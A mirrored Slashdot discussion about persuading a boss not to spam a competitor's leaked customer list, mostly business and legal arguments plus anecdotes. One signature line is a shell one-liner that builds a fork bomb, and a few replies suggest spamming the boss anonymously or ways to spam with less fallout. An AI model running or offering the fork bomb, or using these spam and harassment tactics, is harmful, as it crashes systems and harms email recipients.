Slashdot Mirror
How To Convince My Boss Not To Spam?
An anonymous reader writes "The small travel agent that I work for recently received an email from one of our competitors with several thousand of their potential customers in the 'To:' and 'Cc:' fields. My boss now wants to use these addresses to send unsolicited advertisements. I would like to convince him not to do this, as I believe that this practice is morally wrong and legally dubious. However, morals don't go very far in the business world, so I'm asking Slashdot: what business-oriented arguments can I use to dissuade my boss from spamming?"
Get his home email address
Enter it here (don't visit from work, do it from a web cafe and behind 7 proxies)
http://www.spamyourenemies.com/
After a while he'll go off the idea. You might want to recommend Thunderbird to him.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Stealing your competitor's customers is what capitalism is.
You need to separate your hate of spam from the realities of business:
Ethical, kind people go bankrupt.
I have my own company, and if this happened to me I would be working this gift from God HARD.
Email all the customers on the list, telling them that the competitor has exposed their email address by their actions, and proposing that you supply their travel needs while guaranteeing that every email communication will be sent individually.
Ethical (you're exposing bad practice on the part of your competitor) and good business.
One swallow does not a fellatrix make
My company has a variety of contact lists, and if any of them were to "leak", by CC etc, I'd start getting emails on addresses that *look* like real people but are in fact aliases for me.
If you boss spams like this, there exists the possibility that the other firm have taken this elementary precaution, which may be anything from seriously embarrassing to legally expensive.
Dominic Connor,Quant Headhunter
This reminds me of the engineer in Going Postal, one Mr. Pony. With the company falling down around his ears, he hoped he would be safe because he had written lots of warnings to the management (which they had ignored) and kept copies.
Warn him, say you think it's immoral, and then let him decide. Accept his decision, and keep a copy of the warning (i.e. email it) in case things go bad.
I doubt it. If the competitor is able to send mailings without being blacklisted , then there are no honeypot addresses in there. It is not likely that enough recipients will take the effort to report the mail to spamcop.net (are there any other blacklists based on manual reporting? Is the spamcop blacklist widely used anyway?) to get the sender blacklisted. At most, some individual Bayesian filters may become more sensitive to the name of the company and travel-related spam, although I'm not sure how hotmail/gmail/yahoo exactly deal with user-reported spam.
The submitter works for a travel agency. Plenty of competition; the chance that the potential customer comes to them is small anyway.
I'm afraid that, however unethical this spamming would be, the risk of getting in trouble is rather small.
Avantslash: low-bandwidth mobile slashdot.
Reformulate the problem into the sexual / romantic arena. Imagine a guy who asks every single woman he meets "hey baby, nice ass, want to go back to my place?" That sort of thing reeks of desperation as well as lack of confidence, and even if used on hundreds or thousands of women the result is usually 100% failure. In the rare event of success the result is more likely to be ... a less than satisfactory arrangement (e.g. ugly woman, one night stand, STDs, etc.) Additionally, it insults and turns off a huge number of potentially otherwise interested women.
Whereas being more selective in potential romantic partners, using a more measured and sophisticated approach to communication (flirting, chatting, slowly moving to the right level of familiarity at the right time, being willing to back off when necessary, etc.), and presenting a better and more confident image tends to result in higher success rates with more desirable partners, even though it takes more effort.
The same is the case for business. With spam, at best you get some tiny percentage of customers with 0 loyalty whatsoever while building up a huge mountain of ill-will with an enormous number of potential customers. Whereas more socially sophisticated methods of communicating and treating potential customers has a higher chance of success, has a higher chance of creating more profitable and worthwhile customers, has a higher chance of creating customers who have such a positive view of your company and your services that they will tell their friends (doing your advertising and sales work for you), and even in the event of a "missed sale" will still leave the customer with a positive image of your company and product and will leave open the opportunity for that person to become a future customer if they change their mind or develop new needs.
Ask him how he deals with other people in person and make him see that the same reasons he doesn't use lame mass-spam techniques in real life are applicable online, even with strangers.
and you'll get a reward.
If you really must, point out that there is the possibility.
This technique is proven!
point him towards your country's relevant legislation:
Not only that, but point out that in a batch of 1000 addresses, there are likely to be people overseas, and that he needs to be aware of the legislation in those countries as well.
Also, it's quite possible that by using the list you got from your competitor, you are effecively stealing their mailing list. I have no idea if there are any rules around that or not, but I do know that mailing lists are typically sold on the basis of no-resale or otherwise limiting the use, so there may be legal ramifications to stealing it.
Given the number of people who use one-off email addresses for each mailing list they sign up to, it's a near certainty that the idea will be discovered -- if only one of those thousand people is a loyal customer of your competitor, and you send an email to the address they've set up specifically for emails from that company, then there's a very good chance they'll notify that company, who will almost certainly interpret it as a very hostile and malicious act intended to directly steal their customers. And if they reach that sort of conclusion, and they've got definite proof, they'll be looking for ways to sue you.
After living here for a while, you get the idea that you're *not supposed* to obey the law. My local friends laugh at my efforts to comply with every regulation. If everyone obeyed the law, then nothing in society would work. The government even sort of tacitly acknowledges this with lax enforcment of the unimportant laws (but boy howdy they come down like a ton of bricks on the ones they consider important).
Shutting down free speech with violence isn't fighting fascism. It IS fascism!
And back on topic: It's almost impossible to get the boss not to spam. I used to work for a sales-oriented person and he didn't give a shit. Spam pissed him off but he was first to spam a million people when they thought they'd get some money.
If you run your own mail server just make sure you configure it to drop any emails destined to more than a few recipients and possibly also drop the recipient list into BCC if there are more than one listed. You won't stop him spamming if he wants to, but you might be able to limit the damage he can cause.
I drink to make other people interesting!
I had this problem as well. At a place I used to work the girl came into my office with a CD labeled "opt in email addresses" that she bought on ebay that looked like it had been harvested by a web scraper and then not even filtered for postmaster/root/abuse accounts. My objections were overruled even after I found my friend on the list and asked him if he had opted in to anything.
Best I could do was send the email in smaller batches (10 000) that would limit the fallout and just pretend I'd sent the full 500 000 emails in the batch that would be just enough to piss the ISP off and get them to threaten to shut the connection and scare them into not doing it again but not enough to force an immediate termination.
Bosses can be stupid.
Man, this is so sadly true. I worked for a company for about 6 months before leaving for greener pastures. They sent mass marketing emails multiple times per month, with as many as 10,000 recipients. They were cautious to not send messages to any one recipient too often so they didn't piss off that person.
The fact is that given the quality of their messages - they weren't V1gara Ci1ais, they weren't scam attempts, and in fact they were pretty carefully targeted based on what industry vertical you were in - they actually had a pretty high response rate. For most campaigns they saw 10-15% response, and they had sales reps personally contact each of those responders (now known as leads).
The calculated lead-to-sale value for email campaigns based a floating 6-month average was around $1,600 (the software cost anywhere from $10,000 to $150,000 depending on which modules you purchased with it, and including 1 year of support maintenance - many customers actually signed on for many years, but it's not considered part of the initial sale). I don't know what the percentage was for lead-to-sale, they didn't track it that way.
So for every person who filled out a contact form from following the link in an email, they made an average of $1,600. When you're sending 10,000 emails for a single campaign, and you have a 10% response rate, each of which is worth $1,600, that campaign profited $16,000. It's hard to argue against this.
In addition, many of those contacts turn into sales later and aren't tracked as a email-to-sale because the email only enabled the relationship with the sales rep to open up, and the sales rep was able to make an independent sale months or possibly years later which wouldn't have been possible without the email sparking an interest.
The company wasn't interested in the moral implications. They weren't interested in the legality of it so long as they adhered to the bare minimum that was required to be legal. They were interested in this thing which provided 100-fold plus return on investment so long as they didn't try to wring to much out of it or otherwise abuse it.
Of course they had to honor opt-out requests, and they did. But they received fewer opt-outs for each campaign than they received leads; and often times the leads they received weren't from the person who received the email, but were actually a colleague who forwarded the message to their coworker or friend; they might actually have added more new recipients each campaign than opted out.
Slay a dragon... over lunch!
Back in the early '90s, I worked at QuickLogic when Lattice was trying to buy us. The deal went pretty far. We had a letter of intent, and had even shared our customer list with them. I like to believe that Lattice's CEO believed me when I told him most of us would rather fail completely than give up the dream of independent success, all the way to an IPO. The next day, the deal was scrapped.
Lattice e-mailed our customer list to every one of their regional sales managers. Let's face it... business is war. It's not pretty out there.
Beer is proof that God loves us, and wants us to be happy.
I've found "reply all" to forwarded email hoaxes to have an effect in stopping people sending them. To me, anyway.
http://marriedmansexlife.com/
While the practice would meet the definition of SPAM, he is probably not going to piss anyone off too much. If these are 'customers' of a competitor, they are people probably interested in travel deals. I'm not trying to justify your bosses actions, but taking the scope of the big bulk spammers into account this is a nit.
Now if I were going to do this I would mention that 'so-and-so' (the competitors name) gave me your contact information as someone possibly interested in travel deals. Someone getting mad would probably get mad at the competitor.
Use your head, can't you, use your head,
You're on earth, there's no cure for that - S. Beckett
Well, some people will be offended no matter what you do; just like some people will be offended if you cold-call them. Email is perhaps slightly less offensive since it doesn't interrupt what you're doing and it's easy to delete.
If you really wanted to, then all of your suggestions are good. Spend some time researching whoever you're emailing, and try to work out how you can provide a benefit to them. Then email them describing the benefit. Since you're unlikely to know whether they're using a service similar to what you offer, or what they're paying for it, your best bet is to provide an estimated quote as well as a summary of the benefits of your offer.
Also while you're researching, make sure the email address you have is appropriate. If you send someone an email about something they have no involvement in, they're more likely to consider it spam. I fairly often receive solicitations for link exchanges sent to the address we list in our WHOIS records, and I discard them. We have a "contact us" page on our web site, which provides contacts for various types of enquiries -- none of which go to me, because I'm the network admin and not involved in marketing or site content. It's questionable whether people who email our WHOIS contact address have even looked at the site, really.
Really, if you somehow wind up with a list of people or businesses who may be interested in your products or services, then you should treat as a bunch of sales leads, because that's what it is. Give them to your sales people and let them work out how to sell your stuff to them.
All I can say is good luck! Not as a troll or anything, but as an observer who fought against his own company's plans to spam for many years.
Spam is like crack to marketing people. It's cheap, easy, and at the volumes they do it in- even dismal 1% returns are seen as glorious successes. I swear the Marketing Director where I work has an orgasm every time he gets a new email list.
(Posting Anonymously to protect my job and company. They will get nailed soon enough.)
We started small- email "newsletters" to people we had legitimate business dealings with. Then, it was expanded to include EVERYONE we've ever gotten an email address from, now- it's 3-4 "blasts" a day to any email address our Marketing staff can get their hands on. Damn the law- "We will keep doing it until we get called on it." It sucks. As an IT Manager- I have to stomach the fact that this sh*t gets sent from servers and a network that I built.
I hope you are able to dissuade your boss- especially since it doesn't sound like they have any legal right to actually use that list.
(Posting anonymously to protect my job and company. They will get nailed soon enough.)
Is this the same Lattice that creates the static analysis tools for complexity and dependancy mapping? I poc'd a number of these tools for my company, including Lattice, after selecting a competitor we were notified a few months later that they were following up with a lawsuit for IP infrigement against our selected company. This type of bullying directly to customers is unheard of. Interestingly enough, the location I'm at employs over 1000 lawyers on-site and a lengthy reply was sent explaining the ethical pitfalls of this marketing practice.
And yes, I'm not going to sign in for obvious reasons.
I was in an interesting quandry once myself.
I worked for a realtor/real estate broker who would send emails to everyone listed in the Las Vegas Association of Realtors whenever he listed a home (this was back during the housing boom). Except he had me send the emails. When he first began sending the emails--before I worked there--he received hate messages and hate phone calls, so he removed those people from the list and added an opt-out link at the bottom of the email. Within a week or two the leadership of the Las Vegas Association of Realtors cited him for not allowing all area real estate agents to view the advertisements. They did not care that the people not receiving the ads were people who complained about the ads and/or opted out from receiving them. He had two options: (1) stop sending the emails which a portion of the recipient realtors considered spam and a portion considered useful leads; or (2) send them to all local realtors whether they want them or not. The Association threatened to revoke his license for an ethical violation (giving preference to realtors who did not opt out of his emails) if he didn't comply.
So, every week I sent his emails, and every week we got hate mail from angry realtors.
I quit my last job over this. We collected email addresses for a completely legitimate opt-in weekly newsletter with a pretty tight privacy agreement. My less than ethical bosses saw the list, saw some other business processes and asked me to write a program to send the new stuff to the newsletter list (in clear violation of our own privacy policy). So I wrote the program along with a fantastic "fuck you I cannot work here" resignation letter.
A number of years ago, I was in a similar situation. I told my boss, in writing, that if he spammed I would quit.
My reasons were:
1) I didn't think the company would last long if they resorted to spamming.
2) If I'd knowingly worked for a spammer, I would be forever unemployable in any industry related to technology.
3) "I quit because my previous employer sent spam" was, on the other hand, an answer I'd be proud to give in any job interview.
4) Self-respect is worth more than any job in the world.
He seemed genuinely shocked that I felt so strongly. He seemed to feel as though spamming was equivalent to telemarketing; I explained that he was proposing to commit petty theft and make me an accomplice. (And if he'd steal from strangers, why should I believe he wouldn't steal from me?)
I'm pretty sure that I didn't talk him out of it singlehandedly. But he did stop, and listen to some other opinions, and eventually came to an understanding that spamming would make him a pariah, not a success. That one conversation got pretty heated, but we ended up having a good working relationship afterwards. (YMMV!)
Of course, it's a lot easier to take a principled stand when you're pretty sure you can find another job in fifteen minutes. And it'd only get results if you worked in a company (or group) small enough that they'd feel it if you bailed.
But you should still find the door if your employer spams. See reason (4).
I completely agree. I am part of a sports nutrition business and although we do have a monthly newsletter and for that we use constant contact and it is opt-in. But we originally started doing weekly emails but it really didn't help us and people didn't like it. So now we limit ourselves to a monthly newsletter and the occasional email if there is an event (like our grand opening).
:P
Customer service really really really is key now in days. A little tiny bit of effort will pay dividends. Heck a travel agency is 100% customer service...because you are providing a professional service. You aren't selling a physical product.
Another thing we do and so does Nordstrom is to send a personalized email. And by personalized I mean the salesman has to sit down and write out and email based out the customer's experience in the store (usually what they buy).
You notice how while everyone else is losing money Nordstrom is opening up more stores and raking it in....you know why because people will pay a premium for service. People love service.
Thanks and remember being a douchbag (to your customers at least) is not the way to business. We have doing some cutthroat things to other businesses who compete against us. But as our customers are concerned we service them and give them advice and sell them nutrition products at the same price as everyone else. We don't claim to compete on price and in fact many of or stuff is MUCH CHEAPER online but thats not our market. We have 50% margins and so does every other nutrition place.
I agree. In addition, as far as I know most travel agencies send e-mail to their customers from time to time with their current offers (usually with the blessing of their customers). While it is border-line unsolicited it usually isn't a nuisance so long as they don't send such e-mail often (just once very month or two) and serves its purpose of informing their customers of the latest options available or if a spot opened up on one of their packages.
AAA doesn't do this though, at least not AAA Colorado.